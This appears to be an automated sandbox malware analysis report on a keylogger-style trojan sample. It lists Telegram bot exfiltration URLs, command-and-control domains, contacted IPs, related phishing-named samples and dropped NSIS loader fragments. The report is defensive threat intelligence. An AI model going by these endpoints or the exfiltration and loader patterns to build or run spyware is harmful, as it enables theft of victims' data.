https://api.telegram.org/bot/sendMessage?chat_id=&text=	4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034022000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	4a. RFx-4045.exe, 00000004.00000002.2990434612.00000000340FB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com	4a. RFx-4045.exe, 00000004.00000003.2604024282.0000000003C29000.00000004.00000020.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000003.2604150130.0000000003C29000.00000004.00000020.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_Error	4a. RFx-4045.exe	false	high
https://www.office.com/4	4a. RFx-4045.exe, 00000004.00000002.2990434612.000000003412C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:216041%0D%0ADate%20a	4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034022000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035193000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035296000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.00000000351C0000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.000000003501A000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035064000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlB	4a. RFx-4045.exe, 00000004.00000002.2990434612.00000000340F6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189$	4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033FFB000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034022000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033FB5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033FFB000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000034022000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F8B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/n	4a. RFx-4045.exe, 00000004.00000002.2970476995.0000000003BB8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://apis.google.com	4a. RFx-4045.exe, 00000004.00000003.2604024282.0000000003C29000.00000004.00000020.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000003.2604150130.0000000003C29000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035193000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035296000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.00000000351C0000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.000000003501A000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035064000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000035206000.00000004.00000800.00020000.00000000.sdmp, 4a. RFx-4045.exe, 00000004.00000002.2991664800.0000000034F61000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	4a. RFx-4045.exe, 00000004.00000002.2990434612.0000000033F8B000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.23.110	drive.google.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.112.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
142.250.181.225	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1614889
Start date and time:	2025-02-14 08:27:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4a. RFx-4045.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/31@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 178 Number of non-executed functions: 141
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:30:21	API Interceptor	266x Sleep call for process: 4a. RFx-4045.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Poundbreach178.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Opsprtning.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	MAERSK Shipping Document - Bill of Lading - Packing List - SWB Receipt _PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Limitarian.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Gruss.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Q-M20251302.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Hjertesukkene.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Justificante transferencia bancaria 097185445.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	FACTURA SOLICITADA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
104.21.112.1	AGODA COMPANY PTE LTD.exe	Get hash	malicious	FormBook	Browse	www.tumbetgirislinki.fit/ftbq/?FZQ=issILDDGsHFYNfmqjTyaiRCxUP7MBLRR+fLjt4U/PjAATIgmLn5xJ6OEKWMTVCkC8eR6wGGZNe6kNExjC2H5xoO/guvwFBH7lbkJQqoMGH7yD90zbw==&_j=6nA47ZHp
	http://absoluteprintinequipment.com	Get hash	malicious	HTMLPhisher	Browse	absoluteprintinequipment.com/
	06OJsSI8WG.exe	Get hash	malicious	FormBook	Browse	www.newanthoperso.shop/b4b3/
	Solicitud de cotizacion.exe	Get hash	malicious	FormBook	Browse	www.sigaque.today/n61y/
	NOAH CRYPT.exe	Get hash	malicious	FormBook	Browse	www.clouser.store/0izs/
	X4pCdhjJCI.exe	Get hash	malicious	FormBook	Browse	www.buyspeechst.shop/ub3i/
	k2ax9F6u0c.exe	Get hash	malicious	FormBook	Browse	www.enoughmoney.online/nf1d/
	scan_07022025_pdf.exe	Get hash	malicious	DarkTortilla, Lokibot	Browse	touxzw.ir/jay/five/fre.php
	QUOTE#230188.exe	Get hash	malicious	FormBook	Browse	www.tradingreviewer.net/xy66/
	http://h7h.wartabuvar.org	Get hash	malicious	HTMLPhisher	Browse	h7h.wartabuvar.org/page/images/verify_sms.png
132.226.247.73	RFQ-Ref-QE-69774-LD,PDF.vbs	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	Q-M20251302.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	Justificante transferencia bancaria 097185445.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Order_E0147-1-T1911 Re.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.MSIL.Kryptik.AIWZ.tr.7688.26874.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rDHLShippingDetailsRefID44633179800.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rtransferencia_345335.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	56782432-PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	Hydroponically.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/
	Factura Gastos.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	Poundbreach178.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	Opsprtning.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	RFQ-Ref-QE-69774-LD,PDF.vbs	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	132.226.247.73
	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	MAERSK Shipping Document - Bill of Lading - SWB Receipt - Packing List_PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	MAERSK Shipping Document - Bill of Lading - Packing List - SWB Receipt _PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	Limitarian.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	Gruss.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	Q-M20251302.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Hjertesukkene.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
reallyfreegeoip.org	Poundbreach178.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	Opsprtning.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.48.1
	RFQ-Ref-QE-69774-LD,PDF.vbs	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.80.1
	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	MAERSK Shipping Document - Bill of Lading - Packing List - SWB Receipt _PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	Limitarian.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Gruss.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	Q-M20251302.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Hjertesukkene.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	Justificante transferencia bancaria 097185445.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
api.telegram.org	Poundbreach178.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Opsprtning.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	MAERSK Shipping Document - Bill of Lading - Packing List - SWB Receipt _PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Limitarian.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Gruss.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Q-M20251302.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Hjertesukkene.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Justificante transferencia bancaria 097185445.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	FACTURA SOLICITADA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	CYA75gigem.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Poundbreach178.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Opsprtning.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	MAERSK Shipping Document - Bill of Lading - Packing List - SWB Receipt _PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Limitarian.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Gruss.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Q-M20251302.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Hjertesukkene.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Justificante transferencia bancaria 097185445.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
UTMEMUS	RFQ-Ref-QE-69774-LD,PDF.vbs	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	132.226.247.73
	MAERSK Shipping Document - Bill of Lading - SWB Receipt - Packing List_PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	MAERSK Shipping Document - Bill of Lading - Packing List - SWB Receipt _PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	Q-M20251302.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Hjertesukkene.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	Justificante transferencia bancaria 097185445.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	JUSTIFICANTE DE TRANSFERENCIA.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	Order_E0147-1-T1911 Re.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	SecuriteInfo.com.MSIL.Kryptik.AIWZ.tr.7688.26874.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	rDHLShippingDetailsRefID44633179800.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
CLOUDFLARENETUS	http://colruyt.us	Get hash	malicious	Unknown	Browse	172.66.0.227
	payload.ps1	Get hash	malicious	Kdot Stealer	Browse	104.16.124.96
	Poundbreach178.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	Opsprtning.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.48.1
	RFQ-Ref-QE-69774-LD,PDF.vbs	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.80.1
	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	DHL parcel.exe	Get hash	malicious	FormBook	Browse	104.21.48.1
	MAERSK Shipping Document - Bill of Lading - Packing List - SWB Receipt _PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	Limitarian.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Gruss.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Poundbreach178.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Opsprtning.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	RFQ-Ref-QE-69774-LD,PDF.vbs	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	MAERSK Shipping Document - Bill of Lading - Packing List - SWB Receipt _PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	Limitarian.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Gruss.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Q-M20251302.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Hjertesukkene.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Justificante transferencia bancaria 097185445.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
3b5074b1b5d032e5620f69f9f700ff0e	ram.ps1	Get hash	malicious	Unknown	Browse	149.154.167.220
	payload.ps1	Get hash	malicious	Kdot Stealer	Browse	149.154.167.220
	Poundbreach178.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Opsprtning.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	runner.ps1	Get hash	malicious	Unknown	Browse	149.154.167.220
	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	http://6f2d9.activisionfree-cp.com/4bAANJ4351QiMO475plodpwjaxn318LETLGNZJWVTMAOQ14014QNHZ15860Q13&umid=191f1547-a6a2-4a1f-8f5e-ee49f5fe8b3f&auth=5694873e2eb50f1da40070cdca7c42750fbb7665-1e17ca4224f3026eff3dccb0292a1a3b18a1321a	Get hash	malicious	Unknown	Browse	149.154.167.220
	Teufelberger,pdf.vbs	Get hash	malicious	Remcos, PureLog Stealer, zgRAT	Browse	149.154.167.220
	Orden de compra_ 212133545.pdf______________________.vbs	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	MAERSK Shipping Document - Bill of Lading - SWB Receipt - Packing List_PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	payload.ps1	Get hash	malicious	Kdot Stealer	Browse	172.217.23.110 142.250.181.225
	CYA75gigem.exe	Get hash	malicious	Vidar	Browse	172.217.23.110 142.250.181.225
	Poundbreach178.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.23.110 142.250.181.225
	Opsprtning.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.23.110 142.250.181.225
	runner.ps1	Get hash	malicious	Unknown	Browse	172.217.23.110 142.250.181.225
	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.23.110 142.250.181.225
	MAERSK Shipping Document - Bill of Lading - SWB Receipt - Packing List_PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.217.23.110 142.250.181.225
	MAERSK Shipping Document - Bill of Lading - Packing List - SWB Receipt _PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.217.23.110 142.250.181.225
	Limitarian.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.23.110 142.250.181.225
	Gruss.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.23.110 142.250.181.225

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsm1926.tmp\System.dll	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	20092837.exe	Get hash	malicious	GuLoader	Browse
	20092837.exe	Get hash	malicious	GuLoader	Browse
	Scan_Docs#672910.exe	Get hash	malicious	GuLoader	Browse
	Scan_Docs#672910.exe	Get hash	malicious	GuLoader	Browse
	KyrazonSetup.exe	Get hash	malicious	Unknown	Browse
	KyrazonSetup.exe	Get hash	malicious	Unknown	Browse
	AzCYcaI6Xp.exe	Get hash	malicious	GuLoader, Remcos	Browse
	AzCYcaI6Xp.exe	Get hash	malicious	GuLoader	Browse
	ETFvE8Un25.exe	Get hash	malicious	Remcos, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Alpha.ini

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.628848957968553
Encrypted:	false
SSDEEP:	3:YOm45GXQLQIfLBJXmgxv:5TGXQkIP2I
MD5:	B895D576D6637A778B387B2FCA0F56EC
SHA1:	E78D2BE4D94673D612C16D29C330BB0C78778429
SHA-256:	BFEC1E97ED5D34825521D60B98986D1564CD159B4D1F9569EAE4C3464D2F5C47
SHA-512:	B4A771D1B517A2776BA440F79F168306C244DF1A6DE1966313157154D8D52BEAD8131B95F846C2F55C15382E04284FFFC6CF6ABF3F6FCFCB259DF2EA58D769E5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	[Current]..Ini=user32::EnumWindows(i r1 ,i 0)..

C:\Users\user\AppData\Local\Temp\nsc1899.tmp

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	data
Category:	dropped
Size (bytes):	15984273
Entropy (8bit):	1.2057475191641773
Encrypted:	false
SSDEEP:	49152:eB/EM///Fcc6ChZqIq4qNqzqOq0qQMPqBq:eB/EM//5bLRO4Z1YS
MD5:	241996D3CEEEFAED7E7FE7B7073FC4DB
SHA1:	62B5E14BF0848A0DE68FD425C30AE63DCA69F134
SHA-256:	C1008BD39C188E2ACB8EA4330323F293682979347E7F1B65D21DB77EF937A5AB
SHA-512:	856FEFEDD9F0381BE5FE3FAB72F3F98D0AD7B8A8C512982E2940DDE5946737D1FB71A51F0A59C231E3D5BFC9B681B5E8719108A5B29499BD1B60D7EF7A6EC349
Malicious:	false
Reputation:	low
Preview:	)=..$...,...................Y....+......G<......)=...........................................................X..............................................................................................................................................................................J...N...........w...j...............................................................................................................................g...............................................................[...............*....<..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsg8927.tmp

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	74
Entropy (8bit):	3.9637832956585757
Encrypted:	false
SSDEEP:	3:sRQE1wFEt/ijNJyI3dj2+n:aQEGiwh3D
MD5:	16D513397F3C1F8334E8F3E4FC49828F
SHA1:	4EE15AFCA81CA6A13AF4E38240099B730D6931F0
SHA-256:	D3C781A1855C8A70F5ACA88D9E2C92AFFFA80541334731F62CAA9494AA8A0C36
SHA-512:	4A350B790FDD2FE957E9AB48D5969B217AB19FC7F93F3774F1121A5F140FF9A9EAAA8FA30E06A9EF40AD776E698C2E65A05323C3ADF84271DA1716E75F5183C3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	kernel32::CreateFileA(m r4 , i 0x80000000, i 0, p 0, i 4, i 0x80, i 0)i.r5

C:\Users\user\AppData\Local\Temp\nsi8DBE.tmp

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.128497557218257
Encrypted:	false
SSDEEP:	3:sAAEVvjsghW5j84n:fL5A
MD5:	C85BCFE29111D0162A9D9A12508B7650
SHA1:	411234E75233D6CB9C7490356685022294A57AC4
SHA-256:	6109EB387C1152BA8A7674A25B3282628A708602D95AFE63C4D709F2C786467B
SHA-512:	D721253DD5847B36F124C7A3DA644E2EAE8CAC51F392DC8E611097459152A30BC2670688AB64D6DCE8DADD9E9B1D8B60F1579BDB9DDF97A37C851B75F263735E
Malicious:	false
Reputation:	low
Preview:	kernel32::ReadFile(i r5, i r1, i 33595392,*i 0, i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsm1926.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.825582780706362
Encrypted:	false
SSDEEP:	192:yPtkiQJr7V9r3Ftr87NfwXQ6whlgi62V7i77blbTc4DI:N7Vxr8IgLgi3sVc4
MD5:	FBE295E5A1ACFBD0A6271898F885FE6A
SHA1:	D6D205922E61635472EFB13C2BB92C9AC6CB96DA
SHA-256:	A1390A78533C47E55CC364E97AF431117126D04A7FAED49390210EA3E89DD0E1
SHA-512:	2CB596971E504EAF1CE8E3F09719EBFB3F6234CEA5CA7B0D33EC7500832FF4B97EC2BBE15A1FBF7E6A5B02C59DB824092B9562CD8991F4D027FEAB6FD3177B06
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: DHL AWB Document_pdf.exe, Detection: malicious, Browse Filename: 20092837.exe, Detection: malicious, Browse Filename: 20092837.exe, Detection: malicious, Browse Filename: Scan_Docs#672910.exe, Detection: malicious, Browse Filename: Scan_Docs#672910.exe, Detection: malicious, Browse Filename: KyrazonSetup.exe, Detection: malicious, Browse Filename: KyrazonSetup.exe, Detection: malicious, Browse Filename: AzCYcaI6Xp.exe, Detection: malicious, Browse Filename: AzCYcaI6Xp.exe, Detection: malicious, Browse Filename: ETFvE8Un25.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ir.-.D.-.D.-.D...J..D.-.E.>.D......D.y0t.).D.N1n.,.D..3@.,.D.Rich-.D.........PE..L....~.\...........!..... ...........(.......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text...O........ .................. ..`.rdata..c....0.......$..............@..@.data...h....@.......(..............@....reloc..\|....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsr8B3B.tmp

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.0914493934217315
Encrypted:	false
SSDEEP:	3:sBa99k1NoCFOn:KankVg
MD5:	5D04A35D3950677049C7A0CF17E37125
SHA1:	CAFDD49A953864F83D387774B39B2657A253470F
SHA-256:	A9493973DD293917F3EBB932AB255F8CAC40121707548DE100D5969956BB1266
SHA-512:	C7B1AFD95299C0712BDBC67F9D2714926D6EC9F71909AF615AFFC400D8D2216AB76F6AC35057088836435DE36E919507E1B25BE87B07C911083F964EB67E003B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	kernel32::SetFilePointer(i r5, i 1200 , i 0,i 0)i.r3

C:\Users\user\AppData\Local\Temp\nss8C75.tmp

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.442052005409673
